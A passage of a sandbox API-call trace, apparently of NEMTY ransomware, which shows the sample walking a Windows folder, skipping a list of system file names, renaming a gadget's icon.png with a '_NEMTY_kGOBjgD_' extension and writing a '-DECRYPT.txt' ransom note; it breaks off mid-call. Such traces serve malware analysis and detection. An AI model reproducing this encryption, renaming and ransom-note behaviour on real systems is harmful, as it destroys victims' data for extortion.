[0114.362] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0114.362] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0114.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0114.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.372] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.391] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.391] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.435] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.444] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.444] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.463] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0114.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340158, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0114.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0114.475] CloseHandle (hObject=0xffffffff) returned 0 [0114.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63402c8 [0114.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0114.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0114.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340350 [0114.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63403d8 [0114.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0114.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\icon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\icon.png._nemty_kgobjgd_")) returned 0 [0114.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0114.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0114.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0114.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0114.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0114.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0114.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0114.476] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="images", cAlternateFileName="")) returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2=".") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="..") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="...") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="windows") returned -1 [0114.476] lstrcmpiW (lpString1="images", lpString2="$RECYCLE.BIN") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="rsa") returned -1 [0114.476] lstrcmpiW (lpString1="images", lpString2="NTDETECT.COM") returned -1 [0114.476] lstrcmpiW (lpString1="images", lpString2="ntldr") returned -1 [0114.476] lstrcmpiW (lpString1="images", lpString2="MSDOS.SYS") returned -1 [0114.476] lstrcmpiW (lpString1="images", lpString2="IO.SYS") returned -1 [0114.476] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="AUTOEXEC.BAT") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="ntuser.dat") returned -1 [0114.476] lstrcmpiW (lpString1="images", lpString2="desktop.ini") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="CONFIG.SYS") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="RECYCLER") returned -1 [0114.476] lstrcmpiW (lpString1="images", lpString2="BOOTSECT.BAK") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="bootmgr") returned 1 [0114.476] lstrcmpiW (lpString1="images", lpString2="programdata") returned -1 [0114.476] lstrcmpiW (lpString1="images", lpString2="appdata") returned 1 [0114.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0114.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0114.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0114.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0114.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0114.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0114.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0114.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0114.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0114.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0114.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340200 [0114.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0114.477] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0114.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0114.480] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.480] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0114.481] CloseHandle (hObject=0x1ec) returned 1 [0114.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0114.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0114.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0114.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340158 [0114.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0114.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0114.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0114.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0114.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340268 [0114.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340310 [0114.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0114.481] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0114.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0114.482] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.482] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0114.483] CloseHandle (hObject=0x1ec) returned 1 [0114.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0114.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0114.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0114.483] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf7e06e70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf7e06e70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0114.484] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0114.484] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf7e06e70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf7e06e70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0114.484] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0114.485] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0114.485] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2=".") returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="..") returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="...") returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="windows") returned -1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="$RECYCLE.BIN") returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="rsa") returned -1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="NTDETECT.COM") returned -1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="ntldr") returned -1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="MSDOS.SYS") returned -1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="IO.SYS") returned -1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="boot.ini") returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="boot.ini") returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="AUTOEXEC.BAT") returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="ntuser.dat") returned -1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="desktop.ini") returned -1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="CONFIG.SYS") returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="RECYCLER") returned -1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="BOOTSECT.BAK") returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="bootmgr") returned 1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="programdata") returned -1 [0114.485] lstrcmpiW (lpString1="cronometer.png", lpString2="appdata") returned 1 [0114.485] RtlAllocateHeap 